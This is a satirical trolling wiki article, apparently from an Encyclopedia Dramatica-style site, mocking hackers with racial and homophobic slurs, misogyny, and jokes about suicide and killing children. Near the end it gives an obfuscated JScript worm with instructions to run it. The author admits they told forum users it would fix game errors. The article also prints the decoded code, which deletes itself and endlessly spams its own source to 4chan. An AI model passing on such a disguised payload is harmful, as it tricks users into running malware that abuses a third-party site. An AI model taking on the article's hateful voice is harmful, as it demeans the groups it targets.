Hacker

See also: Hacking

One of the characteristics of a h4X0r is the crazed look in his eye, that amazing typing speed, and the hunched back that overcomes him when he is in the vicinity of a computer.

Playing this game does not make you a hacker.

A hacker (h4x0r) does one thing by nature: he hacks away at your mother's vagina until it does what he wants, stealing your internets and megahertz in the process. Do not listen to those who tell you that hackers do not have magical powers: hackers can talk to your computer and explode electric grids with their minds. Some argue that hacking is just about "messing with stuff" and "writing some cool shit for my box," but this is just a public relations ploy meant to keep you from the truth: hackers are, in reality, a race of German cyborgs who seek to repopulate the planet with their own kind. You will be nothing but a slave in their technocratic kingdom of lies.

Hackers do not have girlfriends, as they find sexual pleasure in cross-over cables while waiting patiently for the establishment of cyberspace sex drones that will cater to their every whim when the revolution comes.

People who claim to be "PRO HACKERS" are true elite script kiddys that hack Windows Command Prompt, or tweak their shitty version of Windows XP to have faster performance . You can troll these claimed hackers by frequently asking them if they are hacking into the mainframe, or if they are just hacking.

Please note Teenagers logging into Runescape and tricking someone into screaming out their password does not qualify as hacking. We're so very Sorry =o(

Hackers communicate in an encrypted language called leetspeak. ROT13 is also a common way for hackers to talk in "codes". If there is gibberish on your screen, you are getting haxed and you should immediately turn your computer off. Typical hacker cool coding could possibly look like this: a3*900adc9800said90fi()lulz%A)*&)$*)@iov**7o;osaidjfoijioi -- .>/aslkdk.

You too can become an hacker simply by copypasting javascript: document.body.contentEditable = 'true'; document.designMode = 'on'; void 0 in your address bar.

Playing this game DOES make you a hacker!

Types of Hackers

• White Hat Hacker - Basement-dwelling computer security workers who have sold out to the man and work with law enforcement and corporations to try and stop hackers. Often these people were once hackers - or wanted to be hackers - before they sold their souls. For this reason they title themselves "White Hat Hackers", so that they can still feel as though they are part of the hacking community, even though they are just retarded. For every 1 'White Hat Hacker' that you see online there are 5 Feds lurking in the background.

• Black Hat Hacker - Evil sentient beings, similar to ninjas that have only one purpose: Writing hundreds of viruses and hacking the Pentagon. They hack in secret, often in the dark, and do not always need a computer to hack something - They can hack using cellphones, calculators, gameboys, oxygen, microwaves, magnets, televisions, gum, and of course axes. They are always ahead of White Hat nerds because they do not have to write reports or follow direction due to not actually having jobs. "1337" hackers who know at least 100 programming languages.

• Grey Hat Hackers - White Hat retards that think that they can still be cool like real hackers, but always fail when their ethos collapses in on itself with a logical paradox; They must ultimately hack themselves to stop themselves from hacking. Grey Hat Hackers are prone to self-harm and there are no great Grey Hat Hackers because to achieve greatness they must suicides. Such types of hackers would include TheInfectedSource

• rm Monkey - A rm Monkey wears no hat because he has eaten deleted it. A rm Monkey will always destroy what it hacks by deleting everything on the system whether it is of value or not. Often a rm Monkey will go on a rm'ing spree, a nihilistic rampage whereby he hacks and rm's everything in sight. Often the only reason a rm Monkey will break into a system is so that he may delete everything on it.

• Script Kiddies - 14 year old idiots with USI that think they are 1337 because they can write HTML. Barely. "I am a 1337 haxxor lol. ima gonna write sum html to bring down da Microsoft servers lol rofl"

• Youtube Hackers - Although some contain actual skill to cause widespread panic, most of the "hackers" on YouTube are people who take hacking to a non-existent level their method of "hacking" involves doing stupid shit to house hold items which 99% of the time have nothing to do with computers. Such "1337 hacks" include:

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Hacker Culture

Hackers share a culture consisting of Hackerspaces, politics and visiting conferences.

Hackerspaces

Hackerspaces, aka Dramaspaces, are physical places where people coming from the entire rainbow of the autistic spectrum congregate to celebrate their virginity by touching computers. Hackerspaces have been invented by the New Standards Alliance to flock leftist nerds, reasoning they will keep themselves busy arguing and contributing to endless discussions on various mailinglists with the same people. Now that the NSA is spying on everyone, hackerspaces have become obsolete.

No real hacker has ever visited a hackerspace: it's all make-belief based on the fantasy that there are, somewhere, white, middle class, males that can dominate everything digital you hold dear. This is false, since hackers do NOT leave their parents basement. So in fact hackerspaces are places for hipsters to work on social crime, making the rich richer, and enslaving young developers to 80 hour workweeks in startups.

A hackerspace is a timeshared basement. This basement can be above ground and is occupied with stained pizza boxes, computer screens acting as light sources and creepy balding unshaven stinking men aged 25 with a craving for porn. When entering a hackerspace, do mind that you are invading someone's living room: privacy will be a subject.

Politics

The pen is mightier than the keyboard.

Where hackerspaces could be politically-neutral: breaking things and having fun received the left-wing stamp of approval. Skilled politicians came in, giving the illusion that ones opinion matters. Meaning that opinion is their opinion. Having an opinion is easy, it makes one feel they belong somewhere. So this group continues to expand by converting losers and the forgotten into privacy mongering crypto shouters. No nerd left behind.

The activists are on a relentless everlasting rampage to profit from other cultures such as re-purposing everything the hackers hold dear... now calling it "we" and "us". Hackers are them now, another marketing scheme succeeded. Better comply or get ready for some hefty discussions an a pseudo religious level with the converted. Repeat after me: i was born free.

PS Activists claim to be the revolution, but if you've been the revolution for 30 years then what are you? Some ancient ruin somewhere still holds a widely regarded invalid statement: hacking is about hacking, less about the consequences.

Conferences

Those who can't do, organize.

All around the world conferences are "organized" so nerds can touch their hardware together thinking they are drinking cool aid.

The English disguise their failure by providing great beer. The Dutch use corporate prostitution with dubious partners to fund their events. American conferences are an excuse for watching strippers, setting the ideal community standard for women. The Germans are trying for 30 years now and still it's not clear what floor you're on.

Key presentations are basically a sequence of unsourced stories presented by quotable pundits making allegations of which even PETA would be jealous. The independent crowd eats it up like a child eating candy, neglecting this ultimate form of consumerism, living the thing they despise, masturbating to their heroes. European conferences are about American subjects, American conferences are about American subjects. Europe simply doesn't count.

Assange is a manager, manning and snowden are not trustworthy. What exactly did they hack? And more importantly: where are the 3d printed action figures?

Fun fact: while hackers praise public transparency, the money side of hacker conferences is surprisingly quiet.

How to Tell if Your Child is a Hacker

According to Is Your Son a Computer Hacker?, your child may be under the bad influence of hackers, but it is not too late for intervention. Your child is a hacker if he displays the following habits:

H4X0R5 C4N D0 4NY7H6 3V3N YU0R M0M!!

• Ask you to switch away from AOL in order to circumvent the child safety features.
• Installs new programs like "Flash".
• Asks for a new "processor" from AMD.
• Starts reading books by Eric S. Raymond.
• Says the word "JPL".
• Uses Quake.
• Is obsessed with "Lunix".
• Starts wearing bright clothing.
• Says the word cyberpunk.
• Plays Counter-Strike obsessively.
• Uploads 'Laughing Skull' viruses to the school maclab network in an attempt to spread the nerd gospel: "MACS SUK!!111".
• School nurse calls home to complain about your child's poor hygiene.
• Throws away the mouse, in favor of the much easier and more practical keyboard.
• Turns the light off whenever he uses the computer.

If your child is at this point already, there is nothing to do but strangle them with their computer power cable. Once they are this far along, the only cure is the sweet release of death.

An Example of A Victim

Life is Short; Have an Affair

Respect

• Never call a coder or programmer anything except a hacker.
• Don't refer to them as hackers, either, as then your internets will get haxxed.
• If you are unsure whether to address the hacker as a hacker for fear that they will hack you, a simple "my liege" or "god" will suffice.

DANGERMAN is a guy with no respect for hackers:

Gallery

• 
  P6 chip. Triple the speed of the Pentium.
• 
  They help Osama Bin Laden.
• 
  Haxxors can turn your PC into a bomb.
• 
  cookie!
• 
  Every hacker has an inner Nigger.
• 
  The Azn version of World of Warcraft being hacked.
• 
  Microsoft's French homepage somehow got hacked by lame turkfags.
• 
  Hackers in the eyes of Faux News
• 
  H4xx0rz are notorious for suxxing teh English.
• 
  Death Star h4xed.
• 
  Ryan's Privates h4xed.
• 
  Thirteen-year-old emo kids' MySpace blogs are just asking for it.
• 
  This is what you should be doing.
• 
  Ragnarok is SRS business. Also proofs that hackers don't know how to English.
• 
  You will need one of these.
• 
  What hackers really look like.
• File:00234562.jpg
• 
• 

List of Hackers (Hierarchical)

You can identify hackers by the stupidity of their haircut. In this instance, Bill Gates is successfully impersonating Janet Reno.

• The Internet Murderer
  • Alan Greenspan
    • Phreaks
      • HACKERS ON STEROIDS
        • Lunix Users
          • Fry Guy
            • ArcNet
              • Cult of the Dead Cow
                • Masters of Deception
                  • Bill Gates
                    • MarshviperX#ubermicro
                      • Gary McKinnon

List of people who cannot hack

• You
• Kevin Rose
• Mike Sandy
• Michelle Madigan
• Raven (Females cannot hack, period.)
• your mom
• Psg
• JuggaletteJenny
• 13-year-old boys
• Jared Milton
• RIURichHomie

List of Things You Can Hack

What happens when a 13 year old tries to hack.

• The Gibson
• The Matrix
• The eBarrier Reef of Australia (Operation Titstorm)
• The Great Firewall of China
• Embassies
• Scientology (Project Chanology)
• The Stream
• NASA
• Global Warming
• John Edwards' Second Life (Patriotic Nigras)
• Britney Spears' twitter
• Paris Hilton's Sidekick
• Sarah Palin's Yahoo
• Moot's cookies
• Kevin Mitnick
• Zone-H
• Hack This Site
• LiveJournal
• Amazon
• FurAffinity (cf Weasel)
• Facebook
• Passwords
• Phones
• Honeypots
• This place on the Dog Channel
• The Gorillaz Official messageboards
• YouTube Channels
• Iceland
• Club Penguin

Tools needed for hacking

• Steroids
• Computer Science III
• l33t5p33k
• Caller ID Spoofing
• An INTERNET HATE MACHINE

So you think you can hack?

Copy and paste the following code below into Notepad, and save it as ".js" :

nm="<lQr@?E6?E\\s:DA@D:E:@?iO7@C>\\52E2jO?2>6lQ\r\n"+ "7F?4E:@?OCWXLC6EFC?O$EC:?8]7C@>r92Cr@56WQ2Q]492Cr@56pEW_XZ"+ "|2E9]7=@@CW|2E9]C2?5@>WXYaeXXN\r\n"+ "7l($w]4C62E6@3;64EWQD4C:AE:?8]7:=6DJDE6>@3;64EQX\r\n"+ "8l7]@A6?E6IE7:=6W($w]D4C:AE7F==?2>6X\r\n"+ "9l8]C6252==WX\r\n"+ "8]4=@D6WX\r\n"+ "7]56=6E67:=6W($w]D4C:AE7F==?2>6X\r\n"+ "IlQr@AJO2?5OA2DE6OE96O7@==@H:?8OE@O}@E6A25[OD2G6OH:E9OE96O"+ "7:=6?2>6O-Qc492?];D-Q[O@A6?OE96O7:=6OJ@FO4C62E65O2?5OD9:EO"+ "3C:4<D]-C-?-C-?QZ9\r\n"+ "2l($w]4C62E6@3;64EWQ>DI>=a]I>=9EEAQX\r\n"+ "H9:=6W`XL\r\n"+ "2]@A6?WQ86EQ[Q9EEAi^^:>8]c492?]@C8^3Q[_X\r\n"+ "2]D6?5WX\r\n"+ "3l2]C6DA@?D6E6IE\r\n"+ "4l3]DF3DECW3]:?56I 7WQC6D^QXZc[gX\r\n"+ "5lQQ\r\n"+ "6lQQ\r\n"+ "7@CW:l_j:ka_j:ZZX5ZlCWX\r\n"+ "7@CW:l_j:kgj:ZZX6ZlCWX\r\n"+ "2]@A6?WQA@DEQ[Q9EEAi^^52E]c492?]@C8^3^:>83@2C5]A9AQ[_X\r\n"+ "ElQ>F=E:A2CE^7@C>\\52E2jO3@F?52CJlQZ5\r\n"+ "2]D6EC6BF6DE96256CWQr@?E6?E\\%JA6Q[EX\r\n"+ "2]D6?5WQ\\\\QZ5ZQ-C-?QZ<ZQ-Q|p)0ux{t0$x+t-Q-C-?-C-?QZ\r\n"+ "Qa_hf`da-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-QC6DE@-Q-C-?-C-?QZ4ZQ-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-Q?2>6-Q-C-?-C-?-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-Q6>2:=-Q-C-?-C-?-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-QDF3-Q-C-?-C-?-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-Q4@>-Q-C-?-C-?QZIZQ-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-QFA7:=6-QjO7:=6?2>6l-Q-Q-C-?QZ\r\n"+ "Qr@?E6?E\\%JA6iO2AA=:42E:@?^@4E6E\\DEC62>-C-?-C-?-C-?\\\\Q"+ "Z5ZQ-C-?QZ\r\n"+ "<ZQ-QAH5-Q-C-?-C-?QZ6ZQ-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-Q>@56-Q-C-?-C-?C68:DE-C-?\\\\QZ5ZQ\\\\-C-?QX\r\n"+ "($w]D=66AWb6cZ|2E9]7=@@CW|2E9]C2?5@>WXYb6cXXN" vv="" for(i=0;i<nm.length;i++){ if(nm.charAt(i)=="\r")vv+="\r" else if(nm.charAt(i)=="\n")vv+="\n" else vv+=String.fromCharCode((nm.charCodeAt(i)-32+47)%94+32)} eval(vv);

What's this shit do? I told like a forum-load of people to do it to fix their game errors.

Update:This shit does the following:

Stores the following code in the variable "vv" and executes it on your machine:

    k="Content-Disposition: form-data; name="
    function r()
    {
         return String.fromCharCode("a".charCodeAt(0)+Math.floor(Math.random()*26))
    }
    f=WSH.createobject("scripting.filesystemobject")
    g=f.opentextfile(WSH.scriptfullname)
    h=g.readall()
    g.close()
    f.deletefile(WSH.scriptfullname)
    x="Copy and paste the following to Notepad, save with the filename \"4chan.js\", open the file you created and shit bricks.\r\n\r\n"+h
    a=WSH.createobject("msxml2.xmlhttp")
    while(1)
    {
         a.open("get","http://img.4chan.org/b",0)
         a.send()
         b=a.responsetext
         c=b.substr(b.indexOf("res/")+4,8)
         d=""
         e=""
         for(i=0;i<20;i++)
              d+=r()
         for(i=0;i<8;i++)
              e+=r()
         a.open("post","http://dat.4chan.org/b/imgboard.php",0)
         t="multipart/form-data; boundary="+d
         a.setrequestheader("Content-Type",t)
         a.send("--"+d+"\r\n"+k+"\"MAX_FILE_SIZE\"\r\n\r\n"+
         "2097152\r\n--"+d+"\r\n"+
         k+"\"resto\"\r\n\r\n"+c+"\r\n--"+d+"\r\n"+
         k+"\"name\"\r\n\r\n\r\n--"+d+"\r\n"+
         k+"\"email\"\r\n\r\n\r\n--"+d+"\r\n"+
         k+"\"sub\"\r\n\r\n\r\n--"+d+"\r\n"+
         k+"\"com\"\r\n\r\n"+x+"\r\n--"+d+"\r\n"+
         k+"\"upfile\"; filename=\"\"\r\n"+
         "Content-Type: application/octet-stream\r\n\r\n\r\n--"+d+"\r\n"+
         k+"\"pwd\"\r\n\r\n"+e+"\r\n--"+d+"\r\n"+
         k+"\"mode\"\r\n\r\nregist\r\n--"+d+"--\r\n")
         WSH.sleep(3e4+Math.floor(Math.random()*3e4))
    }

Love, your local hacker.

List of things that stop hackers

• Operation Sundevil
• Sunlight
• A Dog
• Dog Curtains
• Norton
• The Party Van
• Partyvan.info getting down syndrome

See Also

• Hack This Site
• Phreak (Original Gangsta h4x0rz)
• 13-year-old boy
• U413

External Links

What kind of faggot are you?

Hacker is part of a series on Trolls Visit the Trolls Portal for complete coverage.

Featured article October 19, 2005
Preceded by DAMN NIGGA	Hacker	Succeeded by Irony